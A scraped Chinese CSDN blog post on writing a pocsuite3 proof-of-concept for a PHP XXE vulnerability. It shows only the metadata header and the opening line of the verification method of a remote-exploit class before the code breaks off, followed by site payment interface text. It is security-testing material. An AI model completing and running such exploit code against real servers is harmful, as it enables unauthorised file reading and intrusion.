pocsuite3框架编写php_xxe的poc

本文档介绍了如何在pocsuite3框架下编写针对PHP XXE漏洞的Proof of Concept(POC)代码。内容包括提供了一个环境地址以及分别展示了用于测试的py脚本和EXP脚本。
摘要由CSDN通过智能技术生成

pocsuite3框架编写php_xxe的poc

环境地址:php_xxe

py脚本

from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY

class DemoPOC(POCBase):
    vulID = '1.1'
    version = '1.1'
    author = ['1']
    vulDate = '1.1'
    createDate = '2020/10/16'
    updateDate = '1.1'
    references = ['php_xxe']
    name = 'php_xxe-poc'
    appPowerLink = 'php_xxe'
    appName = 'php_xxe'
    appVersion = 'php_xxe'
    vulType = VUL_TYPE.XML_INJECTION
    desc = '''
        php_xxe
    '''

    #samples = ['96.234.71.117:80']
    category = POC_CATEGORY.EXPLOITS.REMOTE

    def _verify(self):
        result = {
   }
        path 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值